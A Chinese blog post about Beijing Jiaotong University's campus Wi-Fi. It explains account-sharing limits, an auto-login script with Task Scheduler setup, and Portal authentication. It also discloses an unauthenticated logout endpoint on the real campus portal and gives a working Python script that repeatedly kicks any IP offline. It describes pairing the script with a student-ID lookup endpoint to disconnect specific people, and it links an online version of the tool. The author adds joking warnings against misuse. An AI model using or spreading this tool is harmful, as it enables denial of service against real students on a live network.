有什么好笑的吗,感觉跟我差不多,表面上懒散随和,跟众人打成一片,但实际上走一步算十步,心思缜密远超同龄人,他们也不会想到,平日里跟他们嘻嘻哈哈的我,私下里早已和他们不是一个世界了呵呵…我就是这样的人,平时可以和你开玩笑非常随和,但是如果你触碰我的逆鳞我就会让你知道什么是真正的黑暗 这种就是童脸狼,表面上单纯天真,实际上圆滑通透。你不可能算计得了我,因为从一开始你就被我布局了。我是棋手,而你只是棋子,若你违逆我,你会知道什么是残酷和黑暗。我从来不缺雷霆手段也不缺菩萨心肠,我心中有佛也有魔,但我把魔深深的封印起来了,只剩下佛了,我本想以菩萨心肠面对所有人,可是有些人非要我把心中的魔解除封印,那我想问问你们,当你们面对一个真正的魔现世,你们还镇的住吗?
今天黑化一集,整点坏的。
——上条当咩
困了,长话短说。
BJTU校园无线网分为web.wlan.bjtu和phone.wlan.bjtu两种连接&接入方式(此处不讨论有线网环境,详情翻阅之前的blog 串流部分)以下简称web和phone
Web
是Portal认证登录方式,连接后会跳转到login.bjtu.edu.cn
页面,输入学号和密码后认证登录。有时不跳转,则需要手动输入http://10.10.42.3/进入认证页面
Phone
phone则为需要提供账号密码的普通wifi连接方式,注意不能验证证书,否则会登录失败,PC和移动端连接失败的解决方案此前已经提及,在此不作赘述。
共享账号
贵、烂
校园网收费20元/月,抛开学校无线网ipv6缺失、教学区信号覆盖不完善等等等问题不谈,尽管千兆对等的公网教育专线给信息中心的🐎来了一个复活币,让我可以不攻击它,但这个价格仍然偏高,但很多宿舍有宽带的同学会选择共享上网账号。
网络卡顿不能全赖它
学校的部分宿舍区(如嘉园✌)无线网已经支持了wifi6技术,理论上来说网络应该会非常稳定打游戏不卡,但是仍然会有人在游戏途中掉线卡顿红温,那么请检查你是否共享过上网账号,如果有,请注意以下内容。
在过去,我们的认知:web有连接设备数上限,而phone没有。因为web连多了,就会有设备的登录认证失效,但phone不会断开连接,因此可以无限连接。
我们的认知错了!
实际上,phone也是会有连接上限的,达到上限后会踢出超额设备,但它执行踢出后,设备会自动重连,因此看起来它无法被踢下线。但实际上设备是经历了被踢下线然后重新连接的短暂重连的,正是这段时间导致了校园网的卡顿。
实践出真知
在实际实验中,可以通过使用移动设备串流PC设备,然后通过以下链接踢出移动设备,可以观察到被踢的设备串流出现了卡顿,几秒后恢复正常。
这个链接是简化后的校园网logout抓包,它没有进行鉴权,可以踢出任意ip的登录状态,不输入ip默认踢出自己。
当使用脚本循环踢出移动设备时,移动设备无法上网,且WiFi连接会直接中断。以下是gpt写的循环踢人python脚本,效果是踢出自己,当它跟自动登录脚本一起启动的时候非常有意思(
也可以修改url部分踢出别人,但我建议你最好不要拿它来干坏事👁👁 信息中心可以看到一切👁👁
import requests
import time
from datetime import datetime
import random
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def make_logout_request(url, session):
"""发送单个注销请求并处理响应"""
try:
# 打印请求信息
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"\n[{timestamp}] 发送请求: {url}")
response = session.get(url, verify=False, timeout=5)
# 打印响应内容
print(f"[{timestamp}] 状态码: {response.status_code}")
print(f"[{timestamp}] 响应内容: {response.text.strip()}")
# 解析响应内容
if "result\":1" in response.text:
print(f"[{timestamp}] 注销状态: 成功")
return True
else:
print(f"[{timestamp}] 注销状态: 失败")
return False
except requests.exceptions.Timeout:
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 请求超时")
except requests.exceptions.ConnectionError:
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 连接错误")
except Exception as e:
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 意外错误: {e}")
return False
def main():
url = "https://10.10.42.3:802/eportal/portal/logout?callback=dr1004&user_account=drcom&user_password=123&wlan_user_ip="
session = requests.Session()
# 请求计数器
request_count = 0
success_count = 0
failure_count = 0
print("开始持续发送注销请求...")
print("按 Ctrl+C 停止")
try:
while True:
request_count += 1
print(f"\n正在执行第 {request_count} 次请求")
success = make_logout_request(url, session)
if success:
success_count += 1
else:
failure_count += 1
# 每100次请求显示统计信息
if request_count % 100 == 0:
print(f"\n=== 统计信息 ===")
print(f"总请求数: {request_count}")
print(f"成功请求: {success_count}")
print(f"失败请求: {failure_count}")
print(f"成功率: {(success_count/request_count)*100:.2f}%")
print("===============")
# 随机延迟0.1到0.5秒
delay = random.uniform(0.1, 0.5)
time.sleep(delay)
except KeyboardInterrupt:
print("\n用户停止脚本")
print(f"\n=== 最终统计 ===")
print(f"总请求数: {request_count}")
print(f"成功请求: {success_count}")
print(f"失败请求: {failure_count}")
print(f"成功率: {(success_count/request_count)*100:.2f}%")
print("===============")
if __name__ == "__main__":
main()
综上所述,少共享账号
共享人过多会影响你的游戏体验,你最好确保能有一个稳定的宽带来支撑你打完整把游戏,而不是在一次次不会掉线的卡顿中让自己红温。
同时也为自己之前宣传phone可以无限连接道歉
红豆泥私密马赛(

踢人小工具
结合https://login.bjtu.edu.cn:802/eportal/portal/online_list?user_account=【学号】 这个奇妙小接口,可以查询学号对应的上网设备,结合循环踢人脚本,从而实现当面断他网的假装黑客表演,我试过了确实很好玩(
但你最好别滥用👁👁 因为我也在盯着你👁👁
在线版
https://love.nimisora.icu/network-hacker
做了个在线版,必须要连接着校园网才能用,请求由访问者发起,与网站无关,还是不要干坏事
自动登录
适用人群
如果你接入了BJTU 有线网,且账号被多人共用。那么为了保证有线设备登录的有效性,应当设置自动登录脚本来确保维持登录状态。
其实登录掉了也不会影响串流,v6入站和出站插上了网线就会有,只有v4出站是需要登录认证的
原理
当处于登录状态时,登录页的title是不同的,为注销页。未登录时,网页标题为上网登录页。通过每秒钟循环检测网页标题来确保维持在登录状态。
GPT代码实现
import requests
import logging
from datetime import datetime, timedelta
import os
import time
params = {
'user_account': '你的学号',
'user_password': '你的校园网密码',
}
login_ip = 'https://login.bjtu.edu.cn'
login_api = 'https://login.bjtu.edu.cn:802/eportal/portal/login'
sign_in_title = '注销页'
non_sign_in_title = '上网登录页'
success_sign = 'Portal协议认证成功!'
# 创建一个名为 "NetworkLogger" 的日志记录器
logger = logging.getLogger("NetworkLogger")
logger.setLevel(logging.INFO)
# 创建一个写入文件的处理器,每天生成一个新文件
log_dir = "D:/react/autologin/log/"
if not os.path.exists(log_dir):
os.makedirs(log_dir)
log_filename = f"{log_dir}network_log_{datetime.now().strftime('%Y%m%d')}.log"
handler = logging.FileHandler(log_filename, encoding='utf-8')
handler.setLevel(logging.INFO)
# 创建一个格式化器并将其添加到处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
# 将处理器添加到日志记录器
logger.addHandler(handler)
# 定义日志文件的保留期限为15天
retention_period = timedelta(days=15)
now = datetime.now()
# 遍历日志文件目录,删除超过保留期的日志文件
for filename in os.listdir(log_dir):
file_path = os.path.join(log_dir, filename)
if os.path.isfile(file_path) and filename.startswith("network_log_"):
# 获取文件的修改时间
file_modified_time = datetime.fromtimestamp(os.path.getmtime(file_path))
# 如果文件超过保留期,则删除
if now - file_modified_time > retention_period:
try:
os.remove(file_path)
logger.info(f"Deleted old log file: {filename}")
except Exception as e:
logger.error(f"Failed to delete log file {filename}: {e}")
# 循环检查登录状态
while True:
try:
result = requests.get(login_ip)
if non_sign_in_title in result.text:
response = requests.get(login_api, params=params)
logger.info(f"Login attempt response: {response.text}")
else:
# 如果已登录,不记录日志
continue # Skip logging when already logged in
except requests.RequestException as e:
logger.error(f"Error during login attempt: {e}")
# 等待1秒再进行下一次检查
time.sleep(1)
# 移除处理器,避免多次添加处理器导致重复记录
logger.removeHandler(handler)
注册服务
把环境配置好,运行起来这个python脚本,将其重命名为pyw格式来静默执行
使用快捷键 Windows+R 调出运行命令,然后输入 taskschd.msc,回车。中间正在显示的,就是我们的任务计划程序库。
添加一个计划任务——autologin,核心设置如下。

当登录时触发

操作是使用pythonw的绝对路径来执行这个pyw文件 注意是pythonw.exe不是python.exe!

设置中要把如果任务运行时间超过以下时间,停止任务
取消勾选

附上计划任务设置的参考教程:https://zhuanlan.zhihu.com/p/33722601
科普小知识
Portal认证简介
Portal认证是网络接入控制方案(NAC)中的一种。Portal认证通常也称为Web认证,一般将Portal认证网站称为门户网站。用户上网时,必须在门户网站进行认证,只有认证通过后才可以使用网络资源。
Portal认证安全性较低,但是无需客户终端安装客户端软件,网络部署灵活。相较而言,NAC中的802.1X认证方式安全性高,但是由于需要用户终端需要安装客户端软件,部署不灵活;而MAC认证方式同样不需要安装客户端,但是需要在认证服务器上登录MAC地址,管理复杂。
Portal认证一般适用于用户分散且流动性较大的场景,例如公司访客。
Comments NOTHING